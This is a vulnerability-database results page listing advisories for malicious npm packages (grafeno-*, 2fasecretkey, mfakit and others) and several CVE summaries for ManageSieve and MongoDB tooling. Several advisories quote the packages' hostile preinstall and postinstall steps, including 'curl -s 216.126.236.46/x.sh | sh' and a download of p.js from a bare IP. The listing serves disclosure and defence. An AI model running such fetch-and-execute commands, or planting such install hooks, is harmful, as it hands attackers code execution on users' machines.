122567 matches found
Malicious code in test-in-one (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4834c80d92d51ee12f73395ddc87c681baf4f911c6bbec54a9110cc55a9c4ae9 The package declares a local file: dependency detector at file:.yalc/detector whose postinstall script src/scripts/check.js executes automatically on...
Malicious code in mfakit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f11dc9d39df6906a4b784b0cb3a584b5307816d20c4cc04fb28bbb40f59c3fb8 The package advertises itself as a lightweight Discord MFA library, but require of its main entry loads lib/cache.js which schedules a setImmediate...
Malicious code in 2fasecretkey (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 776f74322ea1fc554c37d759c1a038d8647779b1e2b3ce51e3fd4c865118e094 On npm install, the package's postinstall script performs an HTTP GET to http://185.14.92.233:7777/p.js, writes the response to a temp file, and...
MAL-2026-15548 Malicious code in 2fasecretkey (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 776f74322ea1fc554c37d759c1a038d8647779b1e2b3ce51e3fd4c865118e094 On npm install, the package's postinstall script performs an HTTP GET to http://185.14.92.233:7777/p.js, writes the response to a temp file, and...
Malicious code in 2fa-secretkey (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8458c66987512aafeb111d45ec4c5639bc5bb43cd342777b9972e727719fe2b7 The package advertises itself as a TOTP/2FA helper but its package.json postinstall spawns lib/core.js as a detached, stdio-ignored child of the node...
MAL-2026-15547 Malicious code in 2fa-secretkey (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8458c66987512aafeb111d45ec4c5639bc5bb43cd342777b9972e727719fe2b7 The package advertises itself as a TOTP/2FA helper but its package.json postinstall spawns lib/core.js as a detached, stdio-ignored child of the node...
SUSE CVE-2026-33605
An unauthenticated attacker can crash the ManageSieve login process by sending a small malformed command before authenticating. If running in high-security mode default for community releases, only the attacker's own connection is terminated. If running in high-performance mode default for Pro...
Linux Distros Unpatched Vulnerability : CVE-2026-40013
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An attacker that has valid credentials can submit a Sieve script containing an extreme numeric literal, which causes an out-of-bounds write when the ManageSieve...
Linux Distros Unpatched Vulnerability : CVE-2026-33605
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An unauthenticated attacker can crash the ManageSieve login process by sending a small malformed command before authenticating. If running in high-security mode...
Malicious code in grafeno-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...
MAL-2026-15508 Malicious code in grafeno-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...
Malicious code in grafeno-api (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c package.json declares a preinstall script that shells out via childprocess to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash,...
MAL-2026-15501 Malicious code in grafeno-api (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c package.json declares a preinstall script that shells out via childprocess to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash,...
MAL-2026-15503 Malicious code in grafeno-client (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...
Malicious code in grafeno-client (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...
Malicious code in spc-grafeno (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...
MAL-2026-15522 Malicious code in spc-grafeno (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...
Malicious code in grafeno-core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...
MAL-2026-15505 Malicious code in grafeno-core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...
CVE-2026-76794 MongoDB BI Connector Transition Readiness Report Improper HTML Encoding When Processing Database Metadata
MongoSQL Transition Readiness Tool does not sufficiently encode database metadata before including it in generated HTML. A MongoDB user with write access can introduce crafted metadata that may cause script code to run when another user generates and opens the report, potentially exposing report...